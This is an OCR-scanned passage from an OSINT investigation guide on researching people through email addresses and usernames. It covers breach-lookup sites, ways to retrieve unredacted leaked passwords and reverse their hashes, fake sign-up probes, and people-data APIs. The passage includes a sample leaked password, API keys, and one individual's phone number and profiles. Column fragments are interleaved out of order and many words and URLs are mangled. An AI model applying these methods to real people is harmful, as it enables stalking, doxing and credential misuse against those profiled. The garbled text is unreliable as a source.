"references": 20, "blacklisted": false, "malicious_activity": false, "malicious_activity_recent": false, "credentialsjeaked": true, "credentials_leaked_recent": false, "data_breach": true, "first-seen": "07/01/2008", "last_seen": "02/25/2019", "domain_exists": true, "domain_reputation": "n/a", "new_domain": false, "days_since_domain_creation": 8795, "spam": false, "free_provider": true, "disposable": false, "deliverable": true, "accept.all": false, "valid-mx": true, "spf_strict": true, "dmarc_enforced": false, "profiles": "youtube","google","github","t The website presents results within a pop-up window. Fortunately, we can submit this query directly from a specific URL structure, as follows. This is similar to a verification service, but with added features. Below is an actual search result, and I provide an explanation after each detail [within brackets]. /Is you will see, this is an impressive free search, and at the top of my list for ever)’ investigation. [Email address provided] [Likelihood to be a real email address] [Indications of spam or malicious use] [Number of online references] [Blocked by spam lists] [Known phishing activity] [Known recent phishing activity’] [Password present within data leaks] [Password present within recent leaks] [Address present within known breaches] [Date first seen online] [Date last seen online] [Whether domain is valid] [Reputation of domain] [Domain recently registered] [Days since the domain was registered] [Marked as spam] [Free provider such as Gmail] [Disposable provider such as Mailinator] [Inbox able to receive mail] [Address is a catch-all] [Domain possesses an email server] [Domain email security enabled] [Dmarc email security enabled] ’twitter" [Profiles associated with email] This indicates that the domain provided (inteltechniques.com) is configured for email and the server is active. Otherwise, the account is valid and everything else checks out. It also identifies whether an address is a "catchall", w'hich may indicate a burner account from that domain. The results confirm it is not a free webmail account nor a disposable temporary account. I find this tool to be more reliable than all the others when searching email addresses, but we should always consider alternatives. Additional email verification options include Verify Email (verify-email.org) and Email Hippo (tools.verifyemailaddress.io). Both services provide minimal data, but may identify something missing from the previous superior options. When I searched each of my Gmail accounts, I received "OK" as a response. When I changed one character, I immediately received "BAD" as a result. As you validate your target addresses through This provides detail we cannot find anywhere else. In this example, I now know that my target email address has been in use for at least twelve years and appears within at least one data breach. This encourages me to explore the breach search methods explained in a moment Email Assumptions Email Format (email-format.com) Gravatar (gravatar.com) Compromised Accounts https://en.gravatar.com/site/check/ [email protected] You may know about one address, but nor others. It can be productive to make assumptions of possible email addresses and use the verifiers to see if they exist. For example, if your target's name is Jay Stewart and he has an email address of [email protected], you should conduct additional searches for the addresses of [email protected], [email protected], [email protected], and others. If you already know your target's username, such as a Twitter handle, you should create a list of potential email addresses. If I had no email address or username for my target (Jay Stewart), but I knew that he worked at the Illinois Medical District Commission (medicaldistrict.org), I may start searching for the following email addresses. Email Hippo, the responses appear at the bottom as a collection. Choosing the Export option allows you to download all results. Both services limit free daily usage by IP address and browser cookies. [email protected] [email protected] [email protected] [email protected] These are merely assumptions of potential addresses. Most, if not all, of them do not exist and will pro', nothing for me. However, if I do identify an existing address, I now have a new piece of the puzzle to search. These addresses can be verified against the previous three tools. This sendee is responsible for many of the small image icons that you see next to a contact in your email client You may notice that some incoming emails display a square image of the sender. This is configured by the sender, and this image is associated with any email address connected. You do not need to wait for an incoming message in order to see this image. While the Gravatar home page does not offer an email address search option, we can conduct a query directly from the following URL, replacing the email address with your target information. This image can then be searched with a reverse image query as explained later. Email addresses are compromised regularly. Hacker groups often publicly post databases of email addresses and corresponding passwords on websites such as Pastebin. Manually searching for evidence of compromised accounts can get complicated, but we will tackle this later in the book. Several online sendees now aid this tvpe of investigation. These services provide one minimal piece of information about any email address entered. They disclose whether that address appears within any publicly known hacked email databases. While most will never disclose the owner, any email content, or passwords, they will confirm that the target's email account was compromised at some point. They will also identify the sendee which was targeted during the breach. Email Addresses 259 If the previous email assumption techniques were unproductive or overkill for your needs, you may want to consider Email Format. This website searches a provided domain name and attempts to identify the email structure of employee addresses. When searching medicaldistrict.org, it provided several confirmed email accounts under that domain and made the assumption that employee emails are formatted as first initial then last name. Our target would have an email address of [email protected] according to the rules. I use this sendee to help create potential email lists from names collected from Facebook, Twitter, and other social networks. I can then verify my list with the sendees previously mentioned. Have I Been Pwncd (liaveibcenpwned.com) money tor the stolen goods Figure 15.01: z\n email search result from Have 1 Been Pwncd. 260 Chapter 15 "Name": "OOOwebhost", "Tide": "OOOwebhost", "Domain": "000webhost.com", "BreachDate”: "2015-03-01", "AddedDate": "2015-10-26T23:35:45Z", "ModifiedDate": "2O17-12-1OT21:44:27Z", "PwnCount": 14936670, https:/Zhavcibeenpwned.com/unifiedsearch/[email protected] OOOwebhost. In approximately March 2015, the free web hosting provider OOOwebhost suffered a > major data breach that exposed almost 15 million customer records. The data was sold and traded before OOOwebhost was alerted In October. The breach included names, email addresses and plain ' text passwords. Compromised data: Email addresses, IP addresses, Names, Passwords Breaches you were pwned in A "breach’ is an incident where data has been unintentionally exposed to the public. Using the IPasswordpassword manager helps you ensure all your passwords are strong and unique such that a breach of one service doesn’t put your other services at risk. Searching content within the HIBP website is straight-forward. You may recall the method from the chapter about search tools which explained a way to query an email address through HIBP directly from a URL which presents text-only results. Let's revisit that technique. The following URL queries [email protected] against the HIBP database. This helps us in two ways. First, it confirms an email address as valid. If your suspect account is [email protected], and that address was compromised in a breach in 2015, you know the address is valid, it was active, and is at least a few years of age. Second, you know the sendees which need to be investigated. If [email protected] was included in the Dropbox and Linkedln breaches, you should attempt to locate those profiles. Compromised account data is absolutely the most beneficial technique I have used within my investigations in the past five years. We will dive much deeper into data sets later, but let's focus on online sendees first. These are also good websites to check your own address in order to identify’ vulnerabilities. This is a staple in the data breach community. This site allows entry of cither a username or email address, but 1 find only the email option to be reliable. The result is a list and description of any public breaches which contain the provided email address. The descriptions are ven helpful, as they explain the npe of sendee associated and any details about the number of users compromised. In a test, 1 searched an old email of mine that was used to create several covert accounts many years prior. The result was notification that the email address had been compromised on six websites, including Bidy, Dropbox, Linkedln, Myspace, River City’ Media, and Tumblr. The data present here is voluntarily contributed to the owner of the site. Cyber thieves steal various credential databases and allow Have I Been Pwncd (HIBP) to confirm the legitimacy. HIBP then makes the content searchable and credits the thief by name. The chief can then charge more as HIBP has vetted the content. It's a weird game. Now, lets compare results. Figure 15.01 displays the output from the official website. Immediately after, I present the text provided with this custom URL. we Dehashed (dehashcd.com) Spycloud (spycloud.com) https://portal.spycloud.com/endpoint/enriched-stats/[email protected] Email Addresses 261 "Description": "In approximately March 2015, the free web hosting provider OOOwcbhost suffered a major data breach that exposed almost 15 million customer records. The data was sold and traded before OOOwebhost was alerted in October. The breach included names, email addresses and plain text passwords.", "DataClasses": "Email addresses","IP addresses","Names","Passwords" "IsVerified": true, "IsFabricated": false, "IsSensitive": false, "IsRetired": false, "IsSpamList": false The results are in J SON format, which may appear like pure text within your browser. The following result was presented to me when I searched an email address within my own domain. They basically tell you that the email address queried is present within multiple database breaches, but the identity of each is not available. 1 use this service to simply verify an email address. As you can see, the text version contains more details and can be easily copied and pasted into a report. Have I Been Pwned is an amazing tool, but it does not contain all known breaches. Some "white hat hackers eagerly share the data leaks and breaches which they discover in order to receive acknowledgement from the site. Once HIBP has verified the legitimacy and source of the data, it becomes much more valuable in the black markets. Many researchers have accused this website of encouraging data theft, as it can be sold for a higher amount once the owner has vetted the content. Many criminals who deal with stolen credentials dislike this site and its owner. They do not share their goods and try to keep them off of the radar of the security community. Therefore, must always utilize every resource possible. This service is a bit different. They are extremely aggressive in regard to obtaining fresh database breaches. They possess many data sets which are not present in HIBP. However, they do not display details about accounts which you do not own. Our only option is general details through their free API. The following URL submits a query for [email protected]. WTiile Have I Been Pwned is often considered the gold standard in regard to breached account details, we cannot ignore Dehashed. It takes a more aggressive approach and seeks breached databases for their own collection. Using the same email address provided during the previous test, I received two additional breach notifications. These included lesser-known breaches which had not yet publicly surfaced on HIBP. When combining results from both of these services, you would now know that this target email address was likely a real account (you received results); it had been used online since 2012 (the date of the oldest breach according to HIBP); it is connected to an employment-minded individual (Linkedln); and it exists in spam databases as a U.S. consumer (River City Media). I believe that Have I Been Pwned and Dehashed complement each other, and one should never be searched without the other. This search alone often tells me more about a target email address, even if it never identifies the owner. Dchashed allows unlimited search for free, but will not disclose passwords without a premium account. They advertise the ability' to see all associated passwords for a small fee. I have tried this service in the past, and it worked well. However, I believe that paying a company to disclose stolen passwords might exceed the scope of OSINT. It may also violate your own employer's policies. Please use caution. Unfortunately, Dchashed now requires you to be logged into a free account in order to conduct any queries, even at a free access level. Leaked Source (leakcdsource.ru) Leak Peek (leakpeek.com) We Leak Info (weleakinfo.ro) 262 Chapter 15 [email protected] [email protected] LBSG.net Dropbox.com "you”: { "discovered": 7, "records": 8, "discovered_unit": "Months" "company": { "discovered": 1, "records": 11, "discovered_unit": "Month", "name": "inteltechniques.com" 55Junka**** 5tbo**** c enc t o this sendee is that it displays a partial view of passwords associated with email addresses within a react possesses a decent data set of 8 billion credentials. This consists of a "Combo List", which will be acquire ater. The following examples identify the masking protocol used to block portions of each password. [email protected]:55Ji******* [email protected]:Big6**** https://check.cybernews.com/chk/?lang—en_US&e—[email protected] Passwords Note that Leak Peek allows query by email address, username, password, keyword, and domain. We will use this resource again within upcoming chapters. This sendee only provides a "true" or "false" identifying the presence of the email within a breach. The following URL submits a text-only query. This could verify an email address exists. When searching an email address, Leaked Source displays the company which was breached and the approximate date when searching an email address. Below is a typical example. This is a clone of the original We Leak Info site which was shut down by federal law enforcement agencies. A free account is required in order to access redacted details. The benefit here is that you also receive details about the breach source. Consider the following results. WarFrame.com has: 1 result(s) found. This data was hacked on approximately 2016-04-09 NeoPets.com has: 4 result(s) found. This data was hacked on approximately 2013-10-08 Cybcmews (qbemews.com/personal-data-leak-check) The previous options only display the services which are associated with a target email account due to that data being stolen and publicly released. Passwords are not visible unless you pay a premium to Dehashed or Spycloud. Other sites present more robust options for displaying redacted and unredacted passwords for billions of accounts without any fees. I believe this is OSINT data, but your employer's policies may disagree. Let's approach cautiously with some demonstrations. Breach Directory (brcachdirectory.org) dc3245ecdcf2e40b!40el21a014cc37f70239f41 : Ex71ayer PSBDMP (psbdmp.ws) Up site:psbdmp.ws "[email protected]" https://pastcbin.com/WjwCkNL4 IntelligenccX (intelx.io) Email Addresses 263 The first result is https://psbdmp.ws/WjwCkNL4. Clicking that link presents a dead page. However, modifying the URL as follows presents the original content. I don't find PSBDMP as valuable as I did in previous years. However, I have had one investigation where Google had indexed a PSBDMP Pastebin hit when searching the Pastebin site through Google did not reveal the data. Next, we have their premium API. If you sign into the sendee with any Google account, you are presented an API key with ten free search credits. The following displays my typical usage. I believe PSBDMP provides value for a very small niche of online investigators. I have only used it a few times, and still have a few free trial credits remaining. dc3245ecdcf2e40bl 40el 21 aOl 4cc37f70239f41 7e39ea215613a23a6b33fldabc340ccf65dfa243 Ex71**** Exig*** Up to this point, all of these services display content received directly from known data breaches. PSBDMP takes a different approach. It monitors Pastebin for any posts including email addresses and/or passwords. There is no search field and a paid API key is required to see any results. However, we can sort through their archives with the following Google query. I investigated a link to a client doxing at https://pastebin.com/qbkWTxCW. Pastebin had already removed the data and it was no longer accessible. I collected my trial API key and used it with my API key to create a custom URL of https://psbdmp.ws/api/v3/dump/qbkWTxCW?key=99a4911994688471f44443dfldf8ae6e. The result was the full text file archived from Pastebin by PSBDMP. I now know the full password without creating any account or downloading any breach data. These services are only an introduction into breach data. We have a lot more to discuss later in the book. The left column displays the typical redacted passwords and the right column displays SHA-1 hash values of the full passwords. I will explain much more detail about hash values later in the book. For now, this is a representation of the entire password, but we must decrypt the has to reveal the true password. There are severe online options, and I will explain my recommended approach with the data breaches chapter. For demonstration, I will use MD5 Decrypt (md5decrypt.net/en/Shal). I entered dc3245ecdcf2e40bl40el21a014cc37f70239f41 into this website and received the following response. You can search IntelligenccX for free and receive partial results, or create a free trial to see everything. In my experience, you are only limited to the number of burner "trial" email addresses with which you have access. While I have used this site for the free tier and an occasional free trial, I do not recommend any of the paid The results here seem very similar to We Leak Info, but redundancy is always valuable. However, full passwords are available if you are willing to do some work. Consider the following results for [email protected]. Avast Hack Check (avast.com/hackcheck) https://www.avast.com/hackcheck/friends-check CitOday Leaks (breach.myosint.com) In late 2020, a large set of data began floating around which contained Scylla (scylla.so) follows for email, 264 Chapter 15 email:[email protected] password password 12345 name:inteltechniques jployer's not very You can submit these queries directly via URL, with the following structure. https:/1 scylla.sh/search?q=email:tcst@tesLcom https:/1 scylla.sh/search?q=password:passwordl23 https://scylla.sh/search?q=name:bazzcll services. We will replicate the same results for free throughout the book and within our own tools. In fact, many of the tools on their site were copied verbatim without attribution from the tools which are included free here. Avast offers a free search engine which identifies email addresses which appear within known data breaches and leaks. However, it should be avoided. If you enter any email address within this page, the account immediately receives an email from Avast about the search. Furthermore, Avast enrolls the email address into their invasive email newsletter database. Instead consider die "Friends Check" option at the following URL. This website queries the same database maintained by Avast, but does not add the email address to their marketing campaigns or notify the account owner. This service will not identify any specific breach, but could be used as another email address verification option. If you receive a positive result, you know the email address has been used in the past and appears within a breach. 1 over 23,000 data breaches leaked from the previous CitOday website. This data contained hundreds of millions of exposed email addresses and passwords. Sites like Have I Been Pwned indexed the content, but none of the services identified which databases included specific email addresses. This site should present results unique from any other. At the time of this writing, Scylla states that the service is currently offline but will return soon. I am skeptical, but I will keep this tutorial here in the event it returns. The previous options only display the services which are associated with a target email account due to that data being stolen and publicly’ released. Passwords are not visible unless you pay a premium to Dehashed or Spycloud. Scylla presents our most robust option for displaying unredacted passwords for billions of accounts without any fees. I believe this is OSINT data, but your era] policies may disagree. Let's approach cautiously with some demonstrations. The Scylla website is helpful. If you formulate a query’ incorrecdy, you are thrown to an error page and round of shaming. Placing search terms within the search field generates no results. You must submit any’ data as password, and keyword queries. I search all email addresses connected to any’ investigation through every’ breach and leak resource listed here. You never know when one service may present a unique response. The results can be very’ telling. I have much more confidence that an email address is "real" when it appears within a breach. When I search an account which has never been seen within any breach, I assume it is either a brand new account or a "burner" address created for a single purpose. Note that any password details obtained could be accurate or completely wrong. Never attempt to log in to someone's account, as that would be considered computer intrusion. We should use these techniques only’ for passive intelligence gathering and never as credentials for access. presented the following password:d4x96brjcnrx their IP address at http://44.235.17.188/api. Hunter (hunter.io/email-verifier) OCCRP (data.occrp.org) Email Addresses 265 We are told the password to this account and the source where the details were exposed. We queried by a specific email address, but we could expand that search. The second result possesses a very unique password. 1 can query that password through the following search within Scylla. [email protected] [email protected] [email protected] Domain Collectionl-btc-combo Coll ection 1-btc-combo Password d4x96brjcnrx d4x96brjcnrx Email Domain Password [email protected] Collections megazynl [email protected] Collectionl-btc-combo d4x96brjcnrx Self-identified as "The global archive of research material for investigative reporting", this sendee possesses an amazing amount of data. We wall dig into this resource within a later chapter, but we should acknowledge the email options here. A query’ of any email address immediately displays documents associated with the account. Additionally, any keyword search which provides results can be filtered by email address. Let's conduct an example. When I search for "inteltechniques", I receive two results, both of which appear to be PDF files from a journalism conference in 2017.1 could download and read the documents, or click the filters to the left. When I click on the "Email" option, I am notified that the following email addresses are included within these documents. This is great way to find additional email addresses which may be associated with your target The results follow. Results from your query could represent additional email accounts owned by your target. This tells me that the person who owns the account of "[email protected]", and has a password of "d4x96brjcnrx" in use on a Bitcoin forum, also likely uses "[email protected]". This is called password recycling, and we will explore it much more later in the book. As an example, I submitted "email:[email protected]" within the search option, and was partial results in XML format. Email Name [email protected] null [email protected] null We will revisit Scylla later and conduct multiple additional queries for other types of breach data. When scylla.sh is offline, try https://scylla.so/api or their IP address at http://44.235.17.188/api. This service advertises the ability to display email addresses associated with a specific domain. However, the "Verifier" tool can also be valuable. This URL allows query of an individual email address. It immediately provides details similar to the first two services mentioned in this chapter, such as the validity of the address. From there, it displays any internet links which contained the email address within the content at some point. This appears to be sourced from their own database, as many links are no longer present on the internet, and not indexed by Google. 1 once searched my target email address here and confirmed that it was present within a forum associated with terrorism. The forum had recently been removed, but this evidence was permanent. Spytox (spytox.com) site:xlek.com "[email protected]" That’s Them (thatsthem.com) Search People Free (searchpeoplefree.com/cyberbackgroundchccks.com) Many Contacts (manycontacts.com/cn/mail-check) 266 Chapter 15 XLEK (xlek.com) 1 often find email addresses of my targets within this sendee, but it does not allow you to query by email address. We will need to rely on Google to assist. Assume your target is "[email protected]". The following Google query produces over 200 results. This premium service offers a free individual email lookup utility. It provides links to any social networks associated with the target email address. During a test search of a target's personal Gmail account, Many Contacts immediately identified the subject's Linkcdln, Twitter, Facebook, Foursquare, Instagram, and Flickr accounts. Hyperlinks connect you direcdy to each profile page. This is one of my first searches when I know 1 possess a target's primary email account. I have experienced "no results" when using a common VPN provider, so expect some blockage. This is a "White Pages" style of query and you will potentially see a name, city7, and telephone number associated with the account. The paid options are never worth the money. These results include the actual target email address queried and anything else which also matches, such as "[email protected]" and "[email protected]". This overall strategy should apply toward any people search websites which display email addresses but do not provide a specific email search field. Search My Bio (searchmy.bio) This service was previously explained as an Instagram search tool. It also works well for email addresses. If your target included an email address within the biography section of their Instagram profile, it may have been indexed by Search My Bio. A search here for "@gmail.com" displays almost 500,000 Instagram profiles which include a Gmail address. This can be a quick way to find a person's Instagram page when you know the email used. This data set is suspected to be generated from various marketing database leaks. Because of this, we usually receive much more complete results. Most results include full name, age, current home address, previous addresses, telephone numbers, family members, and business associations. The majority of email addresses and usernames I have searched through this service returne no res . However, on occasion 1 received detailed results such as full name, address, phone number, an 'e 1C^ information. Although this is rare, I believe That's Them should be on your list of email and username scare resources. Public Email Records (publicemailrecords.com) The data here is believed to be populated by the River City Media data leak. Results include bill name an^° address. This site has been scraped by many malicious actors and the data is commonly use to generate sp email lists. ProtonMail (protonmail.com) EXPIRES TYPE STATUS FINGERPR... CREATED Mar10, 2016 RSA (2048) 900a5c16b_. Figure 15.02: A ProtonMail public key announcing account creation date. https://api.protonmail.ch/pks/lookup?op=get&[email protected] https://api.protonmail.ch/pks/lookup?op=index&[email protected] That URL currently provides the following response. Email Addresses 267 • Create a new "Contact”, add the target email address, then save it. • Access the contact and click the "Email Settings" icon. • Click the "Show advanced PGP settings" link. This technique requires you to possess a free or paid ProtonMail account. It provides the easiest way to generate, new, and document the details. However, we can replicate this entire process without a requirement to log in to an account, but the results are not as reliable. Assume your target email is [email protected]. First, we must query it to determine if it is present within the ProtonMail system with the following URL. The result should display the creation date of the "Public key". This is usually the creation date of the email account, but not always. If your target generated new security keys for an account, you will see that date instead. Fortunately, this is very rare. Figure 15.02 displays the result when searching the email address of a colleague. I now know he has had this account since at least March 10, 2016. If the result displayed a recent date, 1 would suspect it was a new "burner" account created for a malicious purpose. info:1:1 pub:74ecf3959bac5eba2bd636e204fac101 b757d18f:1:2048:1623879788:: uid:[email protected] <[email protected]>:1623879788:: ProtonMail provides arguably the most popular secure and encrypted email service. Because of this, many criminals flock to it. In 2020, at least half of my criminal email investigations were associated with a ProtonMail account. When this happens, I want to know the date of account creation. The following steps should be conducted while logged in to a free ProtonMail account The last set of digits (1623879788) represents an Epoch Unix Time Stamp, which was explained in Chapter Twelve during the source code review of Instagram profiles. We can convert that number into a date and time at https://www.unixtimestamp.com/index.php. This tells me that the account was created on or before Wednesday, June 16, 2021 at 21:43:08 GMT. Be warned that I have experienced false positives with both of these URLs if you are connected to a VPN server which is abusing this process or you conduct multiple queries within a few seconds. Technically, they should obtain the same data from the same source, but I have had many failures. This is why I prefer the manual method explained at the beginning of this section. If your browser prompts you to download a file titled "pubkey.asc", this indicates that the address exists. If you receive a message of "No Key Found", then the address does not exist. If the address exists, navigate to the following URL. Domain Connections ScamSearch (scamsearch.io) email address to identify https://scamsearch.io/searchadvanced?_emailwild=email&search=protonmail.com People Data Labs (peopledatalabs.com) 5c0ck097aa376bb7741 al 022pl2222e3d45chs740eanass5e741 cl 1101 c048 must create URLs for our queries. The 268 Chapter 15 https://api.peopledatalabs.com/v5/person/enrich?pretty=true&api_key=5c0ck097aa376bb7741al022pl2222 e3d45chs740eanass5e741cl 1101c048&[email protected] Whoxy (whoxy.com/reverse-whois) Full Name & Mailing Address Telephone Number Nine Owned Domain Names Registrar and Host Details Whoisology (whoisology.com) Full Name & Mailing Address Telephone Number Twenty Owned Domain Names Registrar and Host Details AnalyzelD (analyzeid.com) Amazon Affiliate ID AdSense Affiliate ID Five Owned Domain Names Since this service does not [ ’ ’ ’ ’ ’ following submits a query for "[email protected]". provide a traditional search option, we ir cnr.1<»a !nm 1 Ke This free sendee allows query of an email address to identify any association with reported online scams. The standard search box allows for an exact search of any email address, but we can submit a wild card search via URL The following displays any ProtonMail email addresses in the scam database. I am a bit hesitant to present this resource because it seems too good to be true. This "people data" collection company offers 1,000 free queries of their premium data sets to anyone, and they accept masked email addresses such as 33mail, Anonaddy, and Simple Login. We have seen other similar companies offer the same type of deal, such as Full Contact and Pipl, only to convert to a paid model without any type of trial. People Data Labs may be planning the same marketing strategy, but let's take advantage of the resource while it is available. You must create a free trial account at the website under the option of "Get /\PI Key". This will populate a unique key for your usage within the "Dashboard" of the page. Mine appeared similar to the following. DomainBigData (domainbigdata.com) Full Name & Mailing Address Telephone Number Eight Owned Domain Names Registrar and Host Details This query reveals "[email protected]" as a scammer from the website HackForums.net I always recommend a wild card search over a standard query, as it may catch misspellings or similar accounts associated with your target. While this site offers username and telephone search, I have found the results to be minimal. I only use it for email and Bitcoin queries. Every domain name registration includes an email address associated with the site. While many people will use a privacy sendee to hide personal details, this is not always the case. Fortunately, many free sendees have been collecting domain registration details and offer queries of current and archived domain registration data. They x\dll identify domain names that were registered with the target email address entered. This is beneficial when you have a tech-sawy target that may have registered websites of which you are not aware. This also works on domains that no longer exist. As a test, 1 provided an email address of [email protected]. The following results identify the details found by each sendee. The use of affiliate IDs obtained by services such as Analyze ID will be explained during die domain instruction presented later. Imitation Email Provider Email Addresses 269 While this is an obviously staged demo, the results are impressive. I have been able to convert a personal email address of a target into a full resume with social network profiles and cellular telephone number. The results are presented as text in JSON format. The following is a partial summary. The full result included four pages of details. I found the following most beneficial. "full_name": "scan thorne", "first_name": "scan", "birth_year": ”1990", "linkedin_url": "linkedin.com/in/seanthorne", "linkedinjd": ”145991517", "facebook_url": "facebook.com/deseanthorne", "facebookjd": "1089351304", "twitter_url": "twitter.com/seanthome5", "work-email": "[email protected]", "mobile_phone": "+14155688415", "email address": "[email protected]", "email address": "[email protected]", "education": "university of Oregon", If your target’s email address ends in gmail.com or yahoo.com, the identity of the email provider is quite obvious. However, business addresses and those with custom domain names do not notify you of the sendee that hosts the email. A domain’s email provider is the company listed in the domain's MX record. The email provider may be the same as the domain's hosting company, but could also be a separate company. You may need to know the email provider in order to issue a court order for content or subscriber data. You may simply want to document this information within your investigation for potential future use. Regardless of your needs, the following will obtain the email provider from almost any address. This method can be replicated across practically all websites and services. I have used this technique to confirm that target email addresses are associated with sendees from Yahoo, Gmail, Facebook, Twitter, and many others. I have also identified real-world sendees in use by my target by attempting to create accounts with local cable, power, and water companies, supplying the target email account and being notified that the address was "already in use". Knowing the local cable provider of a suspect can seriously limit the geographical area where he or she could be residing. Be sure not to fully execute any account creations with your target email address. This method should only be used on an initial account creation screen, and never submitted. The assumptions of email addresses can be valuable in discovering potential valid accounts, as mentioned earlier. Imitation of any target email addresses can reveal more details, and confirm association with online activities. Consider the following example. Your target email address is [email protected], and you want to know if he is a Mac or Windows user. You could first navigate to apple.com/account and attempt to make an Apple account with that address. If allowed to proceed past the first screen, then that user does not already have an account associated with the target address. If you are informed that the email address is already in use, then you know that your target is a Mac user, and that specific address controls the account. You could navigate to signup.Iive.com and attempt to create an account with the address. If denied, you know that your target is already a Windows user and that address controls the account I have included this option within the search tools. However, you will need to replace "XXXX" with your own API key within die source code of the Email Tool page. phonelosers.org. trying IntelTcchniques Email Addresses Tool [Email Address 1[ Populate All lotelTechniques Tools Search Engines Facebook Twitter Instagram Linkedln Communities Usernames Names Telephone Numbers Maps Documents Pastes Images Videos Domains [Email Address ][ Submit All IP Addresses Business & Government ScamSearch Figure 15.03: The IntelTcchniques Email Addresses Tool. 270 Chapter 15 Email Addresses 1 I 1 I 1 J I J J J“I J [Email Address | Email Address [Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address Email Address ir if ii it jr i i ]L Google Bing Yandex Trumail Emailrep Gravatar ir jr jr 'ii ii JL r JL HIBP Dehashed Spycloud CitOday Cybemews PSBDMP InteIX LeakedSource HunterVerify OCCRP ~ SearchMyBio SpyTox ThatsThem Protonmail DomainData Whoisology AnalyzelD jr JL JL JL JL [Email Address (Requires API Key) |[ PeopleDataLabs [ [Email Address [| Similar to the previous IntelTcchniques search tools, I have created a custom email address search tool as previously explained in Section I. This is my most used tool, and the option which requires the most updates. As you find new or updated resources, you will likely want to keep this tool functioning 100 percent. Figure 15.03 displays the version provided at the time of this writing. Navigate to MX Toolbox (mxtoolbox.com) and enter the domain of the email address, such as [ The result should include a hostname and IP address. These identify the email provider for the target domain. In this example, die host is mxl.mailchannels.net. This tells me that Mail Channels is likely the email host. This technique helps me identify the email providers or hosts behind business email accounts. If 1 am trying to connect an individual to a shell company, this may associate the same small provider with each target. I believe even’ thorough OS1NT report should include a brief mention about the domain email provider. This should be checked as the investigation continues. Changing providers could be a sign of paranoia or intent to conceal evidence. Law enforcement can use this information in order to secure a proper search warrant. KnowEm (knowem.com) Check User Names (checkusemames.com) This site searches approximately 1/3 of the sites on KnowEm, but it links directly to target profiles. Name Checkr (namecheckr.com) User Search (usersearch.org) https://knowem.com/checkusemames.php?u=inteltechniques https://knowem.com/checksocialnames.php?u=inteltechniques Ch a pt e r Six t ee n USERNAMES This service appeared in late 2014 and conducts the same type of search as the previous competitors. The only slight advantage here is that the search is conducted faster than other sites. Additionally, you have a live hyperlink that will navigate to any identified accounts of the target. KnowEm is one of the most comprehensive search websites for usernames. The main page provides a single search field which will immediately check for the presence of the supplied username on the most popular social network sites. A search for the username "inteltechniques" provides information about the availability of that username on the top 25 networks. If the network name is slightly transparent and the word "available" is stricken, that means there is a subject with a profile on that website using the supplied username. When the website is not transparent and the word "available" is orange and underlined, there is not a user profile on that site with the supplied username. For an online researcher, these "unavailable" indications suggest a visit to the site to locate that user's profile. The results could indicate that the target username is being used on Delicious and Twiner, but not Flickr or Tumblr. The link in the lower left comer of the result will open a new page that wall search over 500 social networks for the presence of the supplied username. These searches are completed by category, and the "blogging" category is searched automatically. Scrolling down this page will present 14 additional categories with a button next to each category tide stating "check this category". This search can take some time. In a scenario involving a unique username, the search is well worth the time. Fortunately for us, and our tools, the following direct URLs can be used to save the steps for conducting a basic and advanced search. Once you have identified a username for an online service, this information may lead to much more data. Active internet users often use the same username across many sites. For example, the user "amanda62002" on Myspace may be the same "amanda62002" on Twitter and an unknown number of other sites. When you identify an email address, you may now have the username of the target. If a subject uses [email protected] as an email address, there is a good chance that he or she may use mpulido007 as a screen name on a number of sites. If the target has been an internet user for several years, this Gmail account was probably not the first email address used by the target. Searches for potential addresses of [email protected], [email protected], and [email protected] may discover new information. Manual searching of this new username information is a good start. Keeping up with the hundreds of social websites available is impossible. Visiting the following services will allow you to search usernames across several websites, and will report links to profiles that you may have missed. This sendee stands out a bit from the others in that it only provides actual profile results. It searches the supplied username for a presence on over 100 of the most popular websites and returns a list of identified profiles matching the target. While this sendee is the slowest of all options, this could be an indication of account verification for more accurate results. My frustration with this site is the requirements to conduct a full search. Usernames 271 272 Chapter 16 You must re-enter the username several times and process through the various query submissions. Some pages do not present all options, so you must often return to the homepage to start over. Fortunately, we can submit our queries directly via URL as follows, which allows us to add these to our custom search tools presented at the end of the chapter. news news r r________ a. music https://open.spotify.com/user/inteltechniqi social https://shadowban.eu/.api/inteltechniqu< coding nttps://api.github.com/users/intekechniques images http:/1en.gravatar.com/profiles/inteltechniques.json m««jr https://archive.org/search.php?query=inteltechniques https://medium.com/@inteltechniques https://www.reddit.com/user/inteltechniques jues ics This username search service provides a unique feature missing in the rest. It allows you to begin typing any partial username and it will immediately identify registered accounts within the top ten social networks. This could be beneficial when you are not sure of the exact name that your target is using. If your target has a Twitter username of Bazzell", the previous services will easily identify’ additional accounts that also possess this name. If you think that your target may be adding a number at the end of the username, it could take some time to search all of the possibilities. With NameVine, you can quickly change the number at the end of the username and get immediate results. It will search Twitter, Facebook, Pinterest, YouTube, Instagram, Tumblr, Wordpress, Blogger, and Github. It will also check for any ".com" domains that match. The benefit of this service is the speed of multiple searches. URL submission is as follows. https://usersearch.org/ results_normal.php?URL_usemame=inteltechniques https://usersearch.org/rcsults_advanced.php?URL_username=inteltechniques https://usersearch.org/results_advancedl.php?URL_username=inteltechniques https://usersearch.org/results_advanced2.php?URL_username=inteltechniques https://usersearch.org/ rcsuIts_advanced4.php?URL_username=inteltechniques https://usersearch.org/results_advanced5.php?URL_username=inteltechniques https://usersearch.org/results_advanced6.php?URL_username=inteltechniques https://usersearch.org/results_advanced7.php?URL_username=inteltechniques https://usersearch.org/ results_dating.php?URL_usemame=inteltechniques https://usersearch.org/results_forums.php?URL_usemame=inteltechniques https://users earch.org/ results_crypto.php?URL_username=inteltechniques NameVine (namevine.com) https://namevine.eom/#/inteltechniques Social Searcher (social-searcher.com) This option provides a unique response. It is not a traditional username search site which displays accoun OWNED by the target. Instead, it queries for social network posts which MENTIO t e ™r8ct‘ searching my own username, 1 did not locate any profiles associated with me. Instead, receive nume Linkedln posts and profiles which mentioned my username. The static URL is as follows. https://www.social-searcher.com/search-users/?ntw=&q6=inteltechniques Whats My Name (whatsmyname.app) This resource appeared in 2020 and replicates many of the features previously presented. However, it is al . y good to have redundant options and this service provides a unique feature. You can export your resu ts clipboard, XLSX, CSV, or PDF. A search of my own username revealed the following for easy ocumentau GitHub Gravatar coding https://api.github.com/users/inteltechniqi InternetArchive misc Medium Reddit Spotify Twitter Manual Query Compromised Accounts https://dehashed.com/search?query="inteltechniques" Gravatar (gravatar.com) https://en.gravatar.com/inteltechniques Link Tree (linktr.ee) https://linktr.ee/ambermac While we cannot submit queries via direct URL through all data breach sites, the following allows manual entry of usernames. All of these were explained in the previous chapter. 